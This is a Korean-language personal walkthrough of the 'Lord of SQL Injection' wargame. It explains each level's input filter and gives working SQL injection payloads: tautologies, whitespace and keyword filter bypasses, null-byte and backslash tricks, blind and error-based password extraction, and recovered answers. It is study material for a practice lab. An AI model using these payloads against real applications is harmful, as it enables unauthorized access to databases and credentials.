los 문제풀이

GREMLIN

?id=admin&&pw=123’ or 1=1 –‘

COBOLT

?id=admin’ or 1=1 –‘

GOBLIN

여기서 guest의 no값은 1 (때려맞춤)

즉 DB에서 no=1 인 레코드의 id 값이 guest인 값을 알 수 있음

그래서 id조건을 깰려먼 no 값을 다른거로 적어야함

1 or id=0x61646D696E -> 문자열을 16진수로 변환

ORC

php - addslashes함수

ex) i’m a boy를 쿼리문으로 전송하게 되면 중간에 ‘ 때문에 오류 발생

이런 쿼리 문자에 \를 특수문자 전에 삽입해서 특수문자를 문자열 내에 사용할 수 있도록, escape시켜줌

여기서 패스워드를 하나하나 알아내야 겟다고 생각

먼저 패스워드 길이 유추

?pw=123’ or 1=1 and length(pw)=8 – ‘

패스워드 앞자리 유추

?pw=213’ or 1=1 and substring(pw,1)=’2’ –‘

자동화 스크립트 작성

WOLFMAN

SQL 질의문에서 id는 guest값으로 고정되어있고 패스워드 값만 받고 잇음

그리고 공백이 필터링 되어있음

여기서 공백 우회는 공백문자중 하나인 %0A로 우회 가능

pw=2’%0Aor%0Aid=’admin’--%0A’

Darkelf

여기서는 영문자로 or, and가 필터링 되어있음

||로 or 우회 가능

orge

여기서도 Darkelf 처럼 or, and를 필터링 하고 있음

||로 우회

근데 싱글쿼터, 더블 쿼터를 사용 못하게 하는 addslashes가 php 코드 내에 존재

쿼터로 인한 오류가 발생하지 않도록 addslashes 함수를 사용하여 오류를 막음

여기서는 Blind SQL Injection을 사용하여 패스워드를 알아내야됨

그래서 알아낸 패스워드 : 6c864dec

troll

싱글쿼터도 필터링 되어있음

여기서는 문자열 필터링 함수 ereg를 사용하며 쿼리문에 그대로 admin이라는 문자열이 들어올 경우 막는 역할을 함

자세히 설명하면 ereg는 HTTP 메소드를 통해 들어오는 사용자의 입력 검증 또는 필터링을 위해 ereg 와 같은 함수를 사용함

근데 SQL 구문으로 넘어가면서 MYSQL에서 데이터는 기본값으로는 대소문자를 구분하지 않는다.

그래서 id=’admin’으로 하면 필터링에서 걸리기 때문에 Admin 과 같이 대문자로 바꿔서

쿼리문으로 날리면 admin=admIN, 즉 같은 값으로 인식하여 로그인이 가능하게된다

Vampire

싱글쿼터를 필터링함

str\_replace 함수로 문자열 중에 admin이 들어올 경우 공백으로 바꾸는 부분을 볼 수가 있음

그래서 id=adadminmin 으로 넣어주면 중간에 admin이 공백으로 치환되고 ad + min으로 붙어 넘어가 admin 이라는 값을 넘겨줄 수 있음

skeleton

언더바(\_), 점(.), 역슬래쉬(\), 필터링

id 값은 기본적으로 guest로 바뀌어있음, 그리고 뒤에 and 1=0 이 들어가 있어 모두 거짓 값으로 바뀌게 만들어 놓았음

pw=123’ or id=’admin’ – ‘

쿼리문을 다음과 같이 날려주면 주석문 뒤에 있는 값은 모두 의미가 없어지게 되어 and 1=0이 기능을 하지 않게 되고 중간에 id=’admin’ 값을 넣어주면서 admin이라는 조건이 참이 되게 만들었음

golem

언더바(\_), 점(.), 역슬래쉬(\), 필터링

addslashes함수를 통해 문법에 맞지 않는 싱글쿼터, 더블쿼터 등을 escape 시킴

or/and/substr 함수 필터링 -> right, left 함수를 통해 우회

우선 비밀번호의 길이를 알아내야됨

pw=123’||length(pw)>2 – ‘

=> Hello guest

위 패스워드 길이 조건은 admin 계정도 해당이 될 것임, 그러나 guest가 먼저 나온 이유는

guest 계정이 admin 계정보다 레코드 순서가 먼저이기 때문에 먼저 출력됨

pw=123’||length(pw)<9

=>Hello admin

8 다음에 9로 넘어가면서 admin을 가져오는 것을 확인

admin 계정의 비밀번호 길이는 8인 것을 확인

자동화 코드 제작

Darknight

싱글쿼터, substr,ascii,= 필터링,

addslashes 를 통해 싱글쿼터를 일반 문자열로 인식하도록 escape 시켜버리므로 blind Sql inejction 필요

여기서 쿼리문에 싱글쿼터는 사용할 수 없는데 보니까 no= 부분에는 싱글쿼터가 필요로 하지 않음

이부분에 or과 등호 대신 like 를 써서 and 부분을 전부 참 값으로 만들어 guest로 로그인을 성공하도록 만들 수 있음

length(pw) like 8 -> Hello admin 나옴 -> admin 계정의 패스워드 자리수는 8자리

no 뒤에 파라미터값 삽입해서 패스워드 알아냄

패스워드 : 1c62ba6f

bugbear

싱글쿼터, like 필터링, addslashes 사용해 싱글쿼터를 일반문자로 사용하도록 escape 시켜버리므로 blind Sql injection 사용해야함

공백 필터링

like bypass = in()으로 사용

답 : 735C2773

giant

from 과 테이븖명 사이에 공백문자를 삽입해야 값을 가져올 수 있음

엔터, 탭, \r(커서를 처음으로 올기는 문자) 필터링, 공백 필터링

공백문자 삽입하여 해결

%0b(vertical tab, 수직탭), %0c(프린터 용지 먹임, 새 페이지)

%09(탭),%0d(줄바꿈,엕터),0a(줄바꿈)

assassin

싱글쿼터 필터링

아예 패스워드를 문자열로만 받도록 필터링이 되고 있음

문제 해결 조건이 무조건 admin으로 로그인이 되어야함

즉, admin의 패스워드를 알아내야댐.

여기서 sql 문자 검색 방법으로 유추가 가능

% : 특정 문자열이 포함된 문자를 조회

ex) “a%” : a로 시작하는걸 모두 조회

자동화 코드 작성

여기서 자동화 코드 작성을 했는데 guest꺼만 나오고 admin꺼가 안나오는 경우:

그것 해당 자리의 문자가 admin이랑 guest랑 같은 확률일 수가 있어서 DB상에서 순서가 guest가 먼저일 경우 이런 경우가 가능함

guest 계정이 먼저인지 테스트로 pw 문자열에 %를 넣어봣는데 guest출력 ==> guest가 DB상의 순서가 먼저임

자동화 코드 짜고 설명

zombie\_assassin

ereg 함수 통하여 싱글쿼터를 필터링 하고 있음

ereg 함수는 %00(NULL)문자까지만 패턴을 검색하는 특성이 있음

즉, 패스워드 입력 부분 앞에 NULL 문자 삽입하면 됨

id=admin&&pw=%001’ or 1=1 – ‘

succubus

id와 pw 부분에서 싱글쿼터를 필터링

여기서는 이스케이프 문자를 사용하여 쿼리문의 싱글쿼터에 오류를 내야함

where id = ‘\‘ and pw =‘ or 1=1 --+ ‘

위와 같이 하면 빨간 부분이 문자 처리 되고 뒤에 코드 삽입이 가능해짐

nightmare

주석문자 (#,--) 필터링

패스워드의 길이가 6자리를 넘으면 안됨

쿼리문 끝애 id!=’admin’ 이라는 것이 박혀있음

여기서는 ‘)를 이용하여 괄호를 닫아주어야 하고 필터링 되는 주석을 피해서

다른 형식의 주소를 넣어주어야 함

그래서 답은 다음과 같음

‘)<1;%00

풀이과정은 다음과 같음

‘) -> 두글자 차지

;%00 -> SQL 상에서 주석문자이며 해당 문자를 사용할때 ; 요거 한자리 차지, 널문자는 자리를 차지하지 않음, 그리고 이거 들어간 뒷자리 모두 한줄 주석 처리됨, 이것을 이용하여 뒤 id!=’admin’ 을 무효화 시켜야됨

즉, 넣을 수 있는 자리는 두자리이며, 여기다 조건을 참으로 만들기 위한 조건문을 만들어야됨

(‘’) -> 아무 것도 없는 것은 0과 같은 , 즉 1보다는 작은 수 이며 <1 을 넣어주면 조건식이 참으로 성립

xavis

regex, like -> 정규표현식의 사용과 like 사용하는 것을 필터링

정규표현식을 이용하여 쉽게 패스워드를 유추하지 못하도록 판단

그래서 막아놓은 걸로 판단

addslashes 함수를 통해 특수문자가 사용되는 것을 막았기 때문에 패스워드를 유추해야됨

if(($result['pw']) && ($result['pw'] == $\_GET['pw'])) solve("xavis");

이 부분에서 보면 패스워드를 정확하게 알아야 되는 것으로 판단.

우선 admin의 패스워드 길이를 알아야됨

pw=1’ or length(pw) < 41 –+

와 무슨 패스워드 길이 40.. 너무한데...

**1' or ascii(substring(pw,201))=0 -- '**

이것도 admin 출력.. 도당채 무엇인지..

여기서 admin의 패스워드 값에는 NULL 문자가 본래 패스워드 값을 제외하고 아주 많이 포함되어있는것으로 판단.

**1' or length(trim(pw))>41 -- '**

이러니 guest으로 출력, trim 함수는 문자열 내에서 공백 문자를 제거하는 함수임.

**1' or ord(substring(pw,1,1))=184 -- '**

**ord 함수는 문자열을 아스키코드로 바꿔주는 함수, 근데 기본적인 아스키코드표 값을 벗어났음**

문제는 이 코드값에 해당되는걸 확장아스키코드표에서 보니까 특수문자인데...

**pw=1%27%20or%20hex(ord(substring(pw,1,1)))>hex(144)--+**

다음과 같이 넣으니 admin 출력.. 하나하나 문자의 자리를 hex값으로 검색하기로 결정

자동화 코드 작성

b8f9c5b0c6d0c4a1a4bb000000000000000000000000000000

다음과 같은 hex값이 나옴 여기서 0은 null 문자 하나를 뜻하는 것으로 한글자, 즉 1바이트

hex값 하나하나는 1바이트 -> 총 40문자

이걸 <https://www.percederberg.net/tools/text_converter.html> 에서 평문으로 변환

¸ùÅ°ÆÐÄ¡¤»

2018 Xavis 문제

우선 length(pw) 했을때 12개로 잡힘

그래서 다음과 같은 Injection 코드 작성하여 가져옴

hex(ord(substring(pw,1,1)))<hex(198)

그런데 이렇게 하니 HEX값 3개까지만 가져오고 나머지 9개는 전부 공백값을 가져옴

생각해보니 패스워드 문자열 하나당 hex 값을 가져오라고 했음

length 는 12개, 그러나 위에서 hex값 3개만 가져옴, 즉 한 문자열의 크기는 4바이트, 한 문자열의 크기가 4바이트 인 것은 한글이 있다.

패스워드가 한글인 경우를 생각해봄

injection 방식을 바꿔봄

ascii(substring(hex(pw),1,1))< hex(198)

패스워드 전체를 hex값으로 된 문자열로 바꿔서 그 해당 문자열을 하나하나씩 아스키값하고 비교해서 찾아내는 것

hex값을 통한 문자열의 길이는 12, hex값 하나는 문자열 2개로 이루어져 있음, 즉 패스워드를 hex값으로 변환한 문자열의 길이는 24, 반복문 24로 맞춰놓고 자동화 코드 작성

답은 0000C6B00000C6550000AD73

흠 근데 일반 hex값으로는 나오지 않음

문자열 하나의 값을 ord로 변환해서 10진수랑 비교해봤는데 첫번째 자리가 50000 이상으로 나온 적이 있음

10진수로 변환

**50864 50773 44403**

이걸 한글로 변환해보니 우왕굳

답은 우왕굳

Dragon

시작부터 Hello Guest 라고 뜸

보아하니 id=’guest’#라고 뒷줄 주석문으로 처리하는 것이 고정되어있음

#는 한줄주석으로 개행을 이용하여 우회 가능

그래서 다음과 같이 SQL 구문 삽입

pw=’ %0a and pw=’1’ or id=’admin’ --+

Iron\_Golem

sleep 함수와 benchmark 함수를 막아놈

sleep 함수는 쿼리 실행을 의도적으로 지연시키는 경우 사용

benchmark는 일정 시간동안 특정 구문을 반복적으로 실행하여 실행 시간을 체크할 때 사용

이것 또한 blind SQL Injection 문제

여기서는 특이하게 mysql\_error() 함수를 사용, 즉 에러가 발생하였을 경우 에러 구분을 띄워줌

즉, error based blind sql injection

여기서는 특정한 결과값이 출력되지 않기 때문에

if문을 활용해서 그 안에 조건문이 거짓 값이 될 경우 에러를 발생시키는 sql 문을 넣어서

결과값을 표출해야함

그래서 다음과 같이 처음에는 패스워드의 길이를 알아냄

**pw='1' or if(length(pw)<69,1,(select 1 union select 2)) -- '**

패스워드의 길이는 68인것을 알아냄. 또 길다.

**'1' or if(ord(substring(pw,1,1))<50000,1,(select 1 union select 2)) -- '**

한글인거 같다. 10진수 값이 48000 대로 보인다.

한글 하나는 4바이트, 총 한글로 17글자이다.ㅣ

자동화 코드 작성

1' or if(ascii(substring(hex(pw)," + str(pw\_index) + ",1))<"+ str(ascii\_char) + ",1,(select 1 union select 2)) --

근데 결과값 가져오는 과정중에 특정 부분은 1111 내자리로 일정 규칙대로 적용되고 있는 것을 확인

한글 규칙중에 0이나 1은 특정 표시, 즉 자동화 코드 상에서 먼저 비교해보고 넣기

C9F9 CF55 BFCD D68D 1132 CF8D D671 D671 D671 D671 D671 D671 D671 D672 1132 1132

답은 다음과 같음. 하나씩 10진수로 변환

C9F9 -> 51705 -> 짹, CF55 -> 53077-> 콕, BFCD -> 49101 -> 뿍, D68D -> 54925 -> 획

1132 -> 4402 -> ᄲ

이런식으로

짹콕뿍획ᄲ쾍홱홱홱홱홱홱홱홲ᄲᄲ

근데 아니라고 나옴

hex값으로 변환 안하고 10진수로 조회

47336 48708 44732 50556 33 48764 50528 50528 50528 50528 50528 50528 50528 50529 33 33 33

루비꺼야!빼애애애애애애애액!!!

2019 lron\_golem 변화

코드 참조, 32개의 문자, 패스워드 한글자는 아스키코드 기준 <127 이하.